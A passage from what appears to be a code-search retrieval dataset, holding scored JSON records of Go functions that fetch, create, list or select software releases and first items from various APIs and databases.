err\n\t}\n\n\tif getDeps && release.Chart != nil && release.Chart.Metadata != nil {\n\t\tfor _, dep := range release.Chart.Metadata.Dependencies {\n\t\t\tdepExists := false\n\n\t\t\tfor _, currDep := range release.Chart.Dependencies() {\n\t\t\t\t// we just case on name for now -- there might be edge cases we're missing\n\t\t\t\t// but this will cover 99% of cases\n\t\t\t\tif dep != nil && currDep != nil && dep.Name == currDep.Name() {\n\t\t\t\t\tdepExists = true\n\t\t\t\t\tbreak\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tif !depExists {\n\t\t\t\tdepChart, err := loader.LoadChartPublic(dep.Repository, dep.Name, dep.Version)\n\n\t\t\t\tif err == nil {\n\t\t\t\t\trelease.Chart.AddDependency(depChart)\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\treturn release, err\n}", "title": "" }, { "docid": "c3cf1c1c1338666a60b60e248dc7e4a4", "score": "0.52092963", "text": "func (m *Manager) First() (version uint, err error) {\n\tif len(m.revisions) == 0 {\n\t\treturn 0, os.ErrNotExist\n\t}\n\treturn m.revisions[0].version(), nil\n}", "title": "" }, { "docid": "adadfc5237084afa6487f830aef42974", "score": "0.5206615", "text": "func (c *Client) GetRelease(o Organization, p Project, version string) (Release, error) {\n\tvar rel Release\n\terr := c.do(\"GET\", fmt.Sprintf(\"projects/%s/%s/releases/%s\", *o.Slug, *p.Slug, version), &rel, nil)\n\treturn rel, err\n}", "title": "" }, { "docid": "5593d03335a48d35ec0167a666aa24a5", "score": "0.51925504", "text": "func (v *volume) First() (Study, error) {\n\tall, err := v.Studies()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tif len(all) == 0 {\n\t\treturn nil, nil\n\t}\n\n\treturn v.OpenStudyByName(all[0])\n}", "title": "" }, { "docid": "70b530f0389c439784c94ad438ba549d", "score": "0.51330495", "text": "func (m *ReleaseManifest) Get(target string) (*Release, error) {\n\tif release, exists := m.Releases[target]; exists {\n\t\ttargetRelease := release\n\t\treturn &targetRelease, nil\n\t}\n\ttargetVersion, err := version.NewSemver(target)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"invalid version %s: %v\", target, err)\n\t}\n\treturn m.GetFromVersion(targetVersion)\n}", "title": "" }, { "docid": "2b5c6570fff4e194bb6ad38d2d926e52", "score": "0.51145154", "text": "func (rs Recoverings) First() *Recovering {\n\tif len(rs) > 0 {\n\t\treturn rs[0]\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "a4bd2fbc65dacc5c7e47d3629c78aba1", "score": "0.5111181", "text": "func releasesCreate(db *gorm.DB, release *Release) (*Release, error) {\n\tt := db.Begin()\n\n\t// Get the last release version for this app.\n\tv, err := releasesLastVersion(t, release.App.ID)\n\tif err != nil {\n\t\tt.Rollback()\n\t\treturn release, err\n\t}\n\n\t// Increment the release version.\n\trelease.Version = v + 1\n\n\tif err := t.Create(release).Error; err != nil {\n\t\tt.Rollback()\n\t\treturn release, err\n\t}\n\n\tif err := t.Commit().Error; err != nil {\n\t\tt.Rollback()\n\t\treturn release, err\n\t}\n\n\treturn release, nil\n}", "title": "" }, { "docid": "25dbe3d645cd82e6c23f22b2ccf60f36", "score": "0.5105731", "text": "func (c Provider) Releases(name string) (rs *results.ResultSet, s results.Status) {\n\t// Query the API\n\tresp, err := http.Get(fmt.Sprintf(SourceAPI, name))\n\tif err != nil {\n\t\tfmt.Fprintln(os.Stderr, err.Error())\n\t\ts = results.Unavailable\n\t\treturn\n\t}\n\tdefer resp.Body.Close()\n\t// Translate Status Code\n\tswitch resp.StatusCode {\n\tcase 200:\n\t\ts = results.OK\n\tcase 404:\n\t\ts = results.NotFound\n\tdefault:\n\t\ts = results.Unavailable\n\t}\n\n\t// Fail if not OK\n\tif s != results.OK {\n\t\treturn\n\t}\n\n\tdec := json.NewDecoder(resp.Body)\n\tcrs := &Releases{}\n\terr = dec.Decode(crs)\n\tif err != nil {\n\t\tfmt.Fprintln(os.Stderr, err.Error())\n\t\ts = results.Unavailable\n\t\treturn\n\t}\n\tif len(crs.Releases) == 0 {\n\t\ts = results.NotFound\n\t\treturn\n\t}\n\trs = crs.Convert(name)\n\treturn\n}", "title": "" }, { "docid": "6226442a9379c03a485452ad830edf53", "score": "0.5080698", "text": "func getLatestRelease() (*Release, error) {\n\tclient, err := http.Get(LATEST_RELEASE)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tdefer client.Body.Close()\n\n\tvar release Release\n\tif err = json.NewDecoder(client.Body).Decode(&release); err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn &release, nil\n}", "title": "" }, { "docid": "ac93a02d854514e8cc2d52d0f637912b", "score": "0.5075058", "text": "func (s *Set) First() interface{} {\n\tif s == nil || len(s.items) == 0 {\n\t\treturn nil\n\t}\n\treturn s.items[0]\n}", "title": "" }, { "docid": "3eaab945a1b2bd2c6c23ae8d88301b5f", "score": "0.5067153", "text": "func (r *Release) EarliestReleaseDate() time.Time {\n\tvar t time.Time\n\tfor _, event := range r.ReleaseEvents {\n\t\tif t.IsZero() {\n\t\t\tt = event.Date()\n\t\t} else {\n\t\t\td := event.Date()\n\t\t\tif d.Before(t) {\n\t\t\t\tt = d\n\t\t\t}\n\t\t}\n\t}\n\treturn t\n}", "title": "" }, { "docid": "945b9eef769f72f137321df42b96aac1", "score": "0.50520337", "text": "func (s *RepositoriesService) GetRelease(ctx context.Context, owner, repo string, id int64) (*RepositoryRelease, *Response, error) {\n\tu := fmt.Sprintf(\"repos/%s/%s/releases/%d\", owner, repo, id)\n\treturn s.getSingleRelease(ctx, u)\n}", "title": "" }, { "docid": "8162eb633041f99b2eb3cf003d227a48", "score": "0.5034743", "text": "func (c *GraphQLClient) GetRelease(selector *Selector) (*ShipRelease, error) {\n\trequestObj := GraphQLRequest{\n\t\tQuery: getAppspecQuery,\n\t\tVariables: map[string]string{\n\t\t\t\"semver\": selector.ReleaseSemver,\n\t\t},\n\t}\n\n\tci := callInfo{\n\t\tusername: selector.GetBasicAuthUsername(),\n\t\tpassword: selector.InstallationID,\n\t\trequest: requestObj,\n\t\tupstream: selector.Upstream,\n\t}\n\n\tshipResponse := &GQLGetReleaseResponse{}\n\tif err := c.callGQL(ci, shipResponse); err != nil {\n\t\treturn nil, err\n\t}\n\n\tif shipResponse.Errors != nil && len(shipResponse.Errors) > 0 {\n\t\tvar multiErr *multierror.Error\n\t\tfor _, err := range shipResponse.Errors {\n\t\t\tmultiErr = multierror.Append(multiErr, fmt.Errorf(\"%s: %s\", err.Code, err.Message))\n\n\t\t}\n\t\treturn nil, multiErr.ErrorOrNil()\n\t}\n\n\treturn &shipResponse.Data.ShipRelease, nil\n}", "title": "" }, { "docid": "6130b7ef25e8a4a945c20834b0d98f72", "score": "0.50346196", "text": "func (p ProjectsPage) First() (ProjectsPage, error) {\n\treturn p.fetch(FirstPage)\n}", "title": "" }, { "docid": "6ee0c7d606a8942617690ffd2b679028", "score": "0.5025175", "text": "func (q slotReleaseQuery) OneP() *SlotRelease {\n\to, err := q.One()\n\tif err != nil {\n\t\tpanic(boil.WrapErr(err))\n\t}\n\n\treturn o\n}", "title": "" }, { "docid": "4647a85cd9ddd0eec07e245ef89e2755", "score": "0.5024623", "text": "func (s *Storage) Get(key string) (*rspb.Release, error) {\n\tlog.Printf(\"Getting release %q from storage\\n\", key)\n\treturn s.Driver.Get(key)\n}", "title": "" }, { "docid": "a054b17b078bdb76fa2e6d3b176b597f", "score": "0.502038", "text": "func (c *commandServer) getRelease(release *pb.Release, version, rootVersion string) (*pb.Release, error) {\n\troot := &pb.Release{}\n\terr := c.db.Select(q.And(\n\t\tq.Eq(\"App\", release.App),\n\t\tq.Eq(\"RolloutAt\", release.RolloutAt),\n\t\tq.Eq(\"Platform\", release.Platform),\n\t\tq.Eq(\"Version\", rootVersion),\n\t\tq.Eq(\"Lock\", true),\n\t)).First(root)\n\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"root version not found\")\n\t}\n\n\tnext := root\n\tfor {\n\t\tif next.Version == version {\n\t\t\tif next.NextReleaseId == 0 {\n\t\t\t\treturn next, nil\n\t\t\t}\n\t\t\treturn nil, fmt.Errorf(\"previous version already connected to another version\")\n\t\t}\n\n\t\tif next.NextReleaseId == 0 {\n\t\t\tbreak\n\t\t}\n\n\t\terr = c.db.Select(q.And(\n\t\t\tq.Eq(\"Id\", next.NextReleaseId),\n\t\t\tq.Eq(\"App\", release.App),\n\t\t\tq.Eq(\"RolloutAt\", release.RolloutAt),\n\t\t\tq.Eq(\"Platform\", release.Platform),\n\t\t\tq.Eq(\"Lock\", true),\n\t\t)).First(next)\n\n\t\tif err != nil {\n\t\t\treturn nil, fmt.Errorf(\"version %s is not compatiable with this release\", version)\n\t\t}\n\t}\n\n\treturn nil, fmt.Errorf(\"previous version not found\")\n}", "title": "" }, { "docid": "9049cfff5f118f1c856be29dd4ab5404", "score": "0.50154537", "text": "func (c *Client) GetRelease(projectName string, name string) (Release, error) {\n\tc.debugLog(fmt.Sprintf(\"[targetprocess] Attempting to Get Project: %s\", projectName))\n\tp, err := c.GetProject(projectName)\n\tif err != nil {\n\t\treturn Release{}, errors.Wrap(err, fmt.Sprintf(\"error getting release with name '%s' for project '%s'\", name, projectName))\n\t}\n\n\treturn c.getRelease(&p, name)\n}", "title": "" }, { "docid": "7378e5903a17b13383ba6b033302a28b", "score": "0.50144774", "text": "func (e *Events) First() (*Events, error) {\n\treturn e.page(e.Pager.Paging.First)\n}", "title": "" }, { "docid": "d9f4c6687da74a924eba2de2c8ee353f", "score": "0.50030893", "text": "func (rs *releaseStorage) Release() (*releaseapi.Release, error) {\n\tif rs.layers != nil {\n\t\tlayer, err := rs.layers.LayerFor(gvkRelease)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tobj, err := layer.ByNamespace(rs.release.Namespace).Get(rs.release.Name)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\treturn obj.(*releaseapi.Release), nil\n\t}\n\treturn rs.release, nil\n}", "title": "" }, { "docid": "3cb4afd4b3f85e6312b1e2ef1e8ee7ab", "score": "0.49991396", "text": "func (a *Agent) GetRelease(\n\tname string,\n\tversion int,\n) (*release.Release, error) {\n\t// Namespace is already known by the RESTClientGetter.\n\tcmd := action.NewGet(a.ActionConfig)\n\n\tcmd.Version = version\n\n\treturn cmd.Run(name)\n}", "title": "" }, { "docid": "3cb4afd4b3f85e6312b1e2ef1e8ee7ab", "score": "0.49991396", "text": "func (a *Agent) GetRelease(\n\tname string,\n\tversion int,\n) (*release.Release, error) {\n\t// Namespace is already known by the RESTClientGetter.\n\tcmd := action.NewGet(a.ActionConfig)\n\n\tcmd.Version = version\n\n\treturn cmd.Run(name)\n}", "title": "" }, { "docid": "9f817c983aba680d631d22d7ea8f4f9d", "score": "0.49977484", "text": "func (m *ShareModel) First(builders ...query.SQLBuilder) (Share, error) {\n\tres, err := m.Get(append(builders, query.Builder().Limit(1))...)\n\tif err != nil {\n\t\treturn Share{}, err\n\t}\n\n\tif len(res) == 0 {\n\t\treturn Share{}, query.ErrNoResult\n\t}\n\n\treturn res[0], nil\n}", "title": "" }, { "docid": "343c23fa937a8fb780f07db24b466581", "score": "0.4996153", "text": "func (c *Collection) First() interface{} {\n\treturn c.items[0]\n}", "title": "" }, { "docid": "190dde699e0c8abf260c756ef0af78d1", "score": "0.49928308", "text": "func (p Plugin) NewestReleases(n ...int) []PluginRelease {\n\tnum := len(p.Releases)\n\tif len(n) == 1 {\n\t\tnum = n[0]\n\t}\n\trels := make([]PluginRelease, num)\n\tfor i := 0; i < num; i++ {\n\t\trels[i] = p.Releases[len(p.Releases)-1-i]\n\t}\n\treturn rels\n}", "title": "" }, { "docid": "bdf64a16018d17d761def4740c34f72d", "score": "0.499134", "text": "func (p *GithubProvider) GetReleases() ([]model.Release, error) {\n\tlog.Debug(\"Getting release\")\n\n\tquery := p.mustQueryReleases()\n\n\tr := make([]model.Release, 0)\n\ttags := query.Repository.Refs.TagNodes\n\n\t// reverse order\n\tfor i := len(tags) - 1; i >= 0; i-- {\n\t\tv := tags[i]\n\t\tif p.tagFilter(v.Target.TagInfo) {\n\t\t\ttag := p.tagMapper(v.Target.TagInfo, nil)\n\t\t\tr = append(r, tag)\n\t\t}\n\t}\n\n\treturn r, nil\n}", "title": "" }, { "docid": "dfba2718bfe37d3c0f2de2751b620f05", "score": "0.4981757", "text": "func (c *BuildpackClient) First(ctx context.Context, opts *BuildpackListOptions) (*resource.Buildpack, error) {\n\treturn First[*BuildpackListOptions, *resource.Buildpack](opts, func(opts *BuildpackListOptions) ([]*resource.Buildpack, *Pager, error) {\n\t\treturn c.List(ctx, opts)\n\t})\n}", "title": "" }, { "docid": "5cadc759dd59b2bde193f19589b92e3c", "score": "0.49624577", "text": "func (s *ReleasesService) GetRelease(pid interface{}, tagName string, options ...RequestOptionFunc) (*Release, *Response, error) {\n\tproject, err := parseID(pid)\n\tif err != nil {\n\t\treturn nil, nil, err\n\t}\n\tu := fmt.Sprintf(\"projects/%s/releases/%s\", PathEscape(project), PathEscape(tagName))\n\n\treq, err := s.client.NewRequest(http.MethodGet, u, nil, options)\n\tif err != nil {\n\t\treturn nil, nil, err\n\t}\n\n\tr := new(Release)\n\tresp, err := s.client.Do(req, r)\n\tif err != nil {\n\t\treturn nil, resp, err\n\t}\n\n\treturn r, resp, nil\n}", "title": "" }, { "docid": "f1c7a0fc91f346a4d0c4233d8fa9e58c", "score": "0.4944632", "text": "func (c Collections) First() *Collection {\n\tif len(c) == 0 {\n\t\treturn nil\n\t}\n\treturn &c[0]\n}", "title": "" }, { "docid": "07f6027e69e3b3561df016b3dcebc99e", "score": "0.4938661", "text": "func (c Provider) Releases(name string) (rs *results.ResultSet, s results.Status) {\n\n\t// Query the API\n\tr, err := http.NewRequest(\"GET\", fmt.Sprintf(VersionsAPI, name), nil)\n\tif err != nil {\n\t\tfmt.Fprintln(os.Stderr, err.Error())\n\t\ts = results.Unavailable\n\t\treturn\n\t}\n\tr.Header.Set(\"Accept\", \"application/json\")\n\n\tclient := &http.Client{}\n\n\tresp, err := client.Do(r)\n\tif err != nil {\n\t\tfmt.Fprintln(os.Stderr, err.Error())\n\t\ts = results.Unavailable\n\t\treturn\n\t}\n\tdefer resp.Body.Close()\n\t// Translate Status Code\n\tswitch resp.StatusCode {\n\tcase 200:\n\t\ts = results.OK\n\tcase 404:\n\t\ts = results.NotFound\n\tdefault:\n\t\ts = results.Unavailable\n\t}\n\n\t// Fail if not OK\n\tif s != results.OK {\n\t\treturn\n\t}\n\n\tdec := json.NewDecoder(resp.Body)\n\tversions := &Versions{}\n\terr = dec.Decode(versions)\n\tif err != nil {\n\t\tfmt.Fprintln(os.Stderr, err.Error())\n\t\ts = results.Unavailable\n\t\treturn\n\t}\n\n\thrs := &Releases{}\n\tfor _, v := range versions.Normal {\n\t\thr := Release{\n\t\t\tname: name,\n\t\t\tversion: v,\n\t\t}\n\t\tr, err := http.Get(fmt.Sprintf(UploadTimeAPI, name, v))\n\t\tif err != nil {\n\t\t\tfmt.Fprintln(os.Stderr, err.Error())\n\t\t\tcontinue\n\t\t}\n\t\tdefer r.Body.Close()\n\t\tdateRaw, err := ioutil.ReadAll(r.Body)\n\t\tif err != nil {\n\t\t\tfmt.Fprintln(os.Stderr, err.Error())\n\t\t\tcontinue\n\t\t}\n\t\thr.released = string(dateRaw)\n\t\thrs.Releases = append(hrs.Releases, hr)\n\t}\n\tif len(hrs.Releases) == 0 {\n\t\ts = results.NotFound\n\t\treturn\n\t}\n\trs = hrs.Convert(name)\n\treturn\n}", "title": "" }, { "docid": "ca1336dc25fad2da04c9057e7fc5c9d2", "score": "0.49336067", "text": "func (c *GraphQLClient) GetSlugRelease(selector *Selector) (*ShipRelease, error) {\n\trequestObj := GraphQLRequest{\n\t\tQuery: getSlugAppSpecQuery,\n\t\tVariables: map[string]string{\n\t\t\t\"appSlug\": selector.AppSlug,\n\t\t\t\"licenseID\": selector.LicenseID,\n\t\t\t\"releaseID\": selector.ReleaseID,\n\t\t\t\"semver\": selector.ReleaseSemver,\n\t\t},\n\t}\n\n\tci := callInfo{\n\t\tusername: selector.GetBasicAuthUsername(),\n\t\tpassword: selector.InstallationID,\n\t\trequest: requestObj,\n\t\tupstream: selector.Upstream,\n\t}\n\n\tshipResponse := &GQLGetSlugReleaseResponse{}\n\tif err := c.callGQL(ci, shipResponse); err != nil {\n\t\treturn nil, err\n\t}\n\n\tif shipResponse.Errors != nil && len(shipResponse.Errors) > 0 {\n\t\tvar multiErr *multierror.Error\n\t\tfor _, err := range shipResponse.Errors {\n\t\t\tmultiErr = multierror.Append(multiErr, fmt.Errorf(\"%s: %s\", err.Code, err.Message))\n\n\t\t}\n\t\treturn nil, multiErr.ErrorOrNil()\n\t}\n\n\treturn &shipResponse.Data.ShipSlugRelease, nil\n}", "title": "" }, { "docid": "70d0265189507c181b635e0bff273db5", "score": "0.49330613", "text": "func Query(lg *zap.Logger, tag string) (*Release, error) {\n\tif lg == nil {\n\t\tlg = zap.NewNop()\n\t}\n\tif tag == \"\" {\n\t\ttag = \"latest\"\n\t}\n\turl := fmt.Sprintf(\"https://api.github.com/repos/aws/aws-k8s-tester/releases/tags/%s\", tag)\n\tif tag == \"latest\" {\n\t\turl = \"https://api.github.com/repos/aws/aws-k8s-tester/releases/latest\"\n\t}\n\n\tlg.Info(\"querying release\", zap.String(\"url\", url))\n\tbuf := bytes.NewBuffer(nil)\n\tif err := httpReadInsecure(lg, url, buf); err != nil {\n\t\treturn nil, err\n\t}\n\tr := &Release{}\n\tif err := json.NewDecoder(buf).Decode(r); err != nil {\n\t\treturn nil, err\n\t}\n\n\tnow := time.Now().UTC()\n\tnow = time.Date(now.Year(), now.Month(), now.Day(), now.Hour(), now.Minute(), 0, 0, now.Location())\n\tr.PublishedAgo = humanize.RelTime(r.PublishedAt, now, \"ago\", \"from now\")\n\tfor i := range r.Assets {\n\t\tr.Assets[i].CreatedAgo = humanize.RelTime(r.Assets[i].CreatedAt, now, \"ago\", \"from now\")\n\t\tr.Assets[i].UpdatedAgo = humanize.RelTime(r.Assets[i].UpdatedAt, now, \"ago\", \"from now\")\n\t\tr.Assets[i].SizeString = humanize.Bytes(r.Assets[i].Size)\n\t\tr.TotalAssetsSize += r.Assets[i].Size\n\t}\n\tr.TotalAssetsSizeString = humanize.Bytes(r.TotalAssetsSize)\n\n\tlg.Info(\"queried release\",\n\t\tzap.String(\"release-name\", r.Name),\n\t\tzap.String(\"tag-name\", r.TagName),\n\t\tzap.String(\"published\", r.PublishedAgo),\n\t\tzap.Int(\"assets\", len(r.Assets)),\n\t\tzap.String(\"total-assets-size\", r.TotalAssetsSizeString),\n\t)\n\treturn r, nil\n}", "title": "" }, { "docid": "f925a7585a25610d0ef3714b1414ef67", "score": "0.49307373", "text": "func (a *DefaultApiService) PressReleases(ctx _context.Context) ApiPressReleasesRequest {\n\treturn ApiPressReleasesRequest{\n\t\tApiService: a,\n\t\tctx: ctx,\n\t}\n}", "title": "" }, { "docid": "a6face15663b98e6ad6947a049c3612b", "score": "0.49126792", "text": "func (i *PyPI) findMin(releasesJSON json.RawMessage, min version.Version) (version.Version, error) {\n\treleases := map[string][]pypiRelease{}\n\tif err := json.Unmarshal(releasesJSON, &releases); err != nil {\n\t\treturn version.Version{}, fmt.Errorf(\"unmarshalling releases: %w\", err)\n\t}\n\n\tvs := make([]version.Version, 0, len(releases))\n\tfor k, release := range releases {\n\t\tif len(release) == 0 {\n\t\t\tcontinue\n\t\t}\n\n\t\tv, valid := version.Parse(k)\n\t\tif !valid {\n\t\t\tcontinue\n\t\t}\n\n\t\tif version.Compare(v, min) < 0 {\n\t\t\tcontinue\n\t\t}\n\n\t\tif ok, _ := env.SatisfiesPythonVersion(release[0].RequiresPython); !ok {\n\t\t\tcontinue\n\t\t}\n\n\t\tvs = append(vs, v)\n\t}\n\n\tif len(vs) == 0 {\n\t\treturn version.Version{}, ErrPackageNotFound\n\t}\n\n\t// TODO: This should only include preleases if nothing else matches\n\tsort.Slice(vs, func(i, j int) bool {\n\t\treturn version.Compare(vs[i], vs[j]) < 0\n\t})\n\treturn vs[0], nil\n}", "title": "" }, { "docid": "29e17af72a3a3b4f4c1a93fb29770e8d", "score": "0.490577", "text": "func (s *store) Releases(scope Scope) ([]*Release, error) {\n\tvar releases []*Release\n\treturn releases, s.Find(scope, &releases)\n}", "title": "" }, { "docid": "ef42508be9ff867814304eef7bc97ef7", "score": "0.49007773", "text": "func (m *ReleaseManifest) GetDefault() (*Release, error) {\n\treturn m.Get(m.DefaultRelease)\n}", "title": "" }, { "docid": "a06f2fa9f2f1f24e746865c71f66e9a2", "score": "0.4898686", "text": "func Get(c *deis.Client, appID string, version int) (api.Release, error) {\n\tu := fmt.Sprintf(\"/v2/apps/%s/releases/v%d/\", appID, version)\n\n\tres, reqErr := c.Request(\"GET\", u, nil)\n\tif reqErr != nil && !deis.IsErrAPIMismatch(reqErr) {\n\t\treturn api.Release{}, reqErr\n\t}\n\tdefer res.Body.Close()\n\n\trelease := api.Release{}\n\tif err := json.NewDecoder(res.Body).Decode(&release); err != nil {\n\t\treturn api.Release{}, err\n\t}\n\n\treturn release, reqErr\n}", "title": "" }, { "docid": "9e53b8a170d5fa221dcb5c3761c0275e", "score": "0.4891744", "text": "func (p *Package) Releases() ([]Release, error) {\n\tversions, err := p.store.Releases(p.Namespace, p.Package)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tvar releases []Release\n\n\tfor _, rm := range versions {\n\t\tr := NewRelease(p.store, p.Namespace, p.Package, rm.Version, rm.Digest, rm.CreatedAt, rm.Size,\n\t\t\trm.Dependencies.ToMap())\n\t\treleases = append(releases, *r)\n\t}\n\n\treturn releases, nil\n}", "title": "" }, { "docid": "41b827608806ef96e0cc56d6c82742b5", "score": "0.4888713", "text": "func (s *releasesService) ReleasesCreate(ctx context.Context, r *Release) (*Release, error) {\n\t// Create a new formation for this release.\n\tif err := s.createFormation(r); err != nil {\n\t\treturn nil, err\n\t}\n\n\tr, err := s.store.ReleasesCreate(r)\n\tif err != nil {\n\t\treturn r, err\n\t}\n\n\t// Create port mappings for formation.\n\tif err := s.newProcessPorts(r); err != nil {\n\t\treturn nil, err\n\t}\n\n\t// Schedule the new release onto the cluster.\n\treturn r, s.releaser.Release(ctx, r)\n}", "title": "" }, { "docid": "2bd57eea9ce1c8278cc455a6ea78eb28", "score": "0.4885247", "text": "func GetNewReleases() {\n\t// Grab a bunch of repos\n\tsess, _ := db.GetDbSession()\n\n\tc := sess.Database(\"releasetrackr\").Collection(\"repos\")\n\n\tcount, err := c.CountDocuments(context.Background(), bson.D{})\n\tif err != nil {\n\t\tlog.Printf(\"[Job][GetNewReleases] Failed to find repos\")\n\t\treturn\n\t}\n\n\tif count == 0 {\n\t\tlog.Println(\"[Job][GetNewReleases] No repos in DB\")\n\t\treturn\n\t}\n\n\tcur, _ := c.Find(context.Background(), bson.D{})\n\tdefer cur.Close(context.Background())\n\n\tlog.Printf(\"[Job][GetNewReleases] Result count: %v\", count)\n\tfor cur.Next(context.Background()) {\n\t\tvar repo models.Repo\n\t\terr := cur.Decode(&repo)\n\n\t\tlog.Printf(\"[Job][GetNewReleases] Looking for release for %+v\", repo.Repo)\n\n\t\tresp, err := http.Get(\"https://api.github.com/repos/\" + repo.Repo + \"/releases\")\n\t\tif err != nil {\n\t\t\tlog.Printf(\"[Job][GetNewReleases] API Request failed: %v\", err.Error())\n\t\t}\n\n\t\tlog.Printf(\"[Job][GetNewReleases] Github ratelimit will be hit in in %v requests.\", resp.Header[\"X-Ratelimit-Remaining\"])\n\t\tlog.Printf(\"[Job][GetNewReleases] Ratelimit will reset at %v\", resp.Header[\"X-Ratelimit-Reset\"])\n\n\t\tdefer resp.Body.Close()\n\n\t\tvar f interface{}\n\n\t\tbody, _ := ioutil.ReadAll(resp.Body)\n\n\t\terr = json.Unmarshal(body, &f)\n\t\tif err != nil {\n\t\t\tlog.Fatalf(\"[Job][GetNewReleases] Error unmarshaling JSON - likely invalid.\")\n\t\t\treturn\n\t\t}\n\n\t\tobjects := f.([]interface{})\n\n\t\tif len(objects) == 0 {\n\t\t\tlog.Printf(\"[Job][GetNewReleases] No releases found for %s\", repo.Repo)\n\t\t\treturn\n\t\t}\n\n\t\tfirst := objects[0].(map[string]interface{})\n\n\t\tc = sess.Database(\"releasetrackr\").Collection(\"releases\")\n\n\t\terr = c.FindOne(context.Background(), bson.M{\"release_id\": first[\"id\"].(float64)}).Decode(&existingRelease)\n\n\t\t// Not found - Add it to the DB\n\t\tif err != nil {\n\t\t\tisNewRelease = true\n\n\t\t\tcreatedAtTime, caTErr := time.Parse(time.RFC3339Nano, first[\"created_at\"].(string))\n\t\t\tif caTErr != nil {\n\t\t\t\tlog.Fatalf(\"Created at time parse failed %v\", caTErr.Error())\n\t\t\t}\n\t\t\tpublishedAtTime, paTErr := time.Parse(time.RFC3339Nano, first[\"published_at\"].(string))\n\t\t\tif paTErr != nil {\n\t\t\t\tlog.Fatalf(\"Published at time parse failed: %v\", paTErr.Error())\n\t\t\t}\n\n\t\t\tnewRelease = models.Release{\n\t\t\t\tID: primitive.NewObjectID(),\n\t\t\t\tReleaseID: first[\"id\"].(float64),\n\t\t\t\tURL: first[\"html_url\"].(string),\n\t\t\t\tTag: first[\"tag_name\"].(string),\n\t\t\t\tName: first[\"name\"].(string),\n\t\t\t\tReleaseCreatedAt: createdAtTime,\n\t\t\t\tReleasePublishedAt: publishedAtTime,\n\t\t\t\tBody: first[\"body\"].(string),\n\t\t\t\tRepoID: repo.ID,\n\t\t\t}\n\n\t\t\tlog.Printf(\"[Job][GetNewReleases] New release record: %v\", newRelease)\n\n\t\t\tresult, err := c.InsertOne(context.Background(), &newRelease)\n\n\t\t\trepo.LastReleaseID = newRelease.ID\n\n\t\t\tc = sess.Database(\"releasetrackr\").Collection(\"repos\")\n\n\t\t\tres := c.FindOneAndUpdate(context.Background(),\n\t\t\t\tbson.M{\n\t\t\t\t\t\"_id\": repo.ID,\n\t\t\t\t},\n\t\t\t\tbson.M{\n\t\t\t\t\t\"$set\": bson.M{\n\t\t\t\t\t\t\"last_release_id\": result.InsertedID,\n\t\t\t\t\t},\n\t\t\t\t})\n\t\t\tif res == nil {\n\t\t\t\tpanic(err)\n\t\t\t}\n\n\t\t\tSendNewReleaseNotification(repo, newRelease)\n\t\t}\n\t}\n}", "title": "" }, { "docid": "fa53cda43c84873d4dfbe2262fc0ce2e", "score": "0.48801523", "text": "func (ed *EmbedDriver) First() (version uint, err error) {\n\tif version, ok := ed.migrations.First(); ok {\n\t\treturn version, nil\n\t}\n\treturn 0, os.ErrNotExist\n}", "title": "" }, { "docid": "ca77f3c3a87e597db463bdd9b9feff94", "score": "0.48692513", "text": "func GetReleases(c *gin.Context) {\n\t// pass empty query to get all releases\n\tvar query string\n\tvar release struct {\n\t\tChannel string `form:\"channel\"`\n\t\tProduct string `form:\"product\"`\n\t\tStatus string `form:\"status\"`\n\t}\n\n\tc.Bind(&release)\n\n\tif release.Channel != \"\" {\n\t\tnewquery := fmt.Sprintf(\"channel = '%s'\", release.Channel)\n\t\tquery = database.QueryAppend(query, newquery)\n\t}\n\n\tif release.Product != \"\" {\n\t\tnewquery := fmt.Sprintf(\"product = '%s'\", release.Product)\n\t\tquery = database.QueryAppend(query, newquery)\n\t}\n\n\tif release.Status != \"\" {\n\t\tnewquery := fmt.Sprintf(\"active = '%s'\", release.Status)\n\t\tquery = database.QueryAppend(query, newquery)\n\t}\n\n\tchannels := core.GetChannels()\n\treleases := core.GetReleases(query)\n\tc.HTML(http.StatusOK, \"releases.html\", gin.H{\n\t\t\"releases\": releases,\n\t\t\"allchannels\": channels,\n\t\t\"release\": release,\n\t})\n}", "title": "" }, { "docid": "07721c0ecd117069cfd3e755ee9cf177", "score": "0.48677456", "text": "func (p *Playlist) First() *Song {\n\tp.m.Lock()\n\tdefer p.m.Unlock()\n\n\treturn p.Songs[0]\n}", "title": "" }, { "docid": "d473a4d45df0e0f0050f8b27d08a6e04", "score": "0.48656026", "text": "func (g *Changelog) FindUnreleasedVersion() *Version {\n\tvar v *Version\n\tfor _, version := range g.Versions {\n\t\tif version.Version == nil {\n\t\t\tv = version\n\t\t\tbreak\n\t\t}\n\t}\n\treturn v\n}", "title": "" }, { "docid": "fdfd37d773ea10556d6918b95461e884", "score": "0.48654643", "text": "func (c Provider) Releases(name string) (rs *results.ResultSet, s results.Status) {\n\tif len(listing) == 0 {\n\t\tgetListing()\n\t}\n\tbuff := bytes.NewBuffer(listing)\n\tpieces := strings.Split(name, \"/\")\n\tpieces2 := strings.Split(pieces[len(pieces)-1], \"-\")\n\tname = strings.Join(pieces2[0:len(pieces2)-1], \"-\")\n\tvar searchPrefix string\n\tswitch len(pieces) {\n\tcase 4:\n\t\tsearchPrefix = ListingPrefix + strings.Join(pieces[0:len(pieces)-2], \"/\") + \":\\n\"\n\tcase 5, 6:\n\t\tsearchPrefix = ListingPrefix + strings.Join(pieces[0:len(pieces)-3], \"/\") + \":\\n\"\n\t}\n\trs = results.NewResultSet(name)\n\tfor {\n\t\tline, err := buff.ReadString('\\n')\n\t\tif err != nil {\n\t\t\tbreak\n\t\t}\n\t\tif line != searchPrefix {\n\t\t\tcontinue\n\t\t}\n\t\tfor line != \"\\n\" {\n\t\t\tline, err = buff.ReadString('\\n')\n\t\t\tif err != nil {\n\t\t\t\tbreak\n\t\t\t}\n\t\t\tif line == \"\\n\" {\n\t\t\t\tbreak\n\t\t\t}\n\t\t\tfields := strings.Fields(line)\n\t\t\tversion := fields[len(fields)-1]\n\t\t\tif version[0] > 57 || version[0] < 48 